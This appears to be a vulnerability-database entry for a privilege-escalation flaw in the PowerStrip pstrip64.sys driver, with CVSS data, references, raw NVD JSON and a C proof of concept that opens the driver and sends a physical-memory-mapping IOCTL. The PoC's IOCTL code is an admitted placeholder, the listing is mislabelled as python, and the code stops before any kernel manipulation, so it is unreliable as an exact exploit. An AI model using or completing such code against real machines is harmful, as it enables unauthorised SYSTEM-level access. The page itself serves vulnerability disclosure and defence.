CVE-2026-29923

Description

The pstrip64.sys driver in EnTech Taiwan PowerStrip <=3.90.736 allows local users to escalate privileges to SYSTEM via a crafted IOCTL request enabling unprivileged users to map arbitrary physical memory into their address space and modify critical kernel structures.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

EnTech Taiwan PowerStrip <= 3.90.736

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-29923 - PowerStrip pstrip64.sys Privilege Escalation
 * This code demonstrates how to send a malicious IOCTL to map physical memory.
 * WARNING: For educational purposes only.
 */

#include <windows.h>
#include <stdio.h>

#define DEVICE_NAME "\\\\.\\PStrip64"
// IOCTL code may vary, this is a placeholder for the vulnerable control code
#define IOCTL_MAP_PHYSICAL_MEMORY 0x222003 

typedef struct _PHYSICAL_MEMORY_RANGE {
    UINT64 PhysicalAddress;
    SIZE_T Size;
} PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE;

int main() {
    HANDLE hDevice = INVALID_HANDLE_VALUE;
    DWORD bytesReturned = 0;
    PHYSICAL_MEMORY_RANGE inputBuffer;
    PVOID mappedAddress = NULL;

    printf("[*] Attempting to open device %s...\n", DEVICE_NAME);
    hDevice = CreateFileA(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    printf("[+] Device opened successfully.\n");

    // Attempt to map physical memory (e.g., HAL heap or EPROCESS)
    inputBuffer.PhysicalAddress = 0x1000; // Example target address
    inputBuffer.Size = 0x1000;

    printf("[*] Sending IOCTL to map physical memory at 0x%llx...\n", inputBuffer.PhysicalAddress);

    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_MAP_PHYSICAL_MEMORY,
        &inputBuffer,
        sizeof(inputBuffer),
        &mappedAddress,
        sizeof(mappedAddress),
        &bytesReturned,
        NULL
    );

    if (result) {
        printf("[+] IOCTL successful! Memory mapped at: 0x%p\n", mappedAddress);
        // Here an attacker would manipulate kernel structures
    } else {
        printf("[-] IOCTL failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29923
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29923
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29923/
[4] VulDB https://vuldb.com/cve/CVE-2026-29923
[5] https://entechtaiwan.com/util/ps.shtm
[6] https://packetstorm.news/files/id/218394/
[7] https://packetstorm.news/files/id/218394/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29923", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:24.693", "lastModified": "2026-04-14T17:16:48.907", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The pstrip64.sys driver in EnTech Taiwan PowerStrip <=3.90.736 allows local users to escalate privileges to SYSTEM via a crafted IOCTL request enabling unprivileged users to map arbitrary physical memory into their address space and modify critical kernel structures."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://entechtaiwan.com/util/ps.shtm", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/218394/", "source": "[email protected]"}, {"url": "https://packetstorm.news/files/id/218394/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}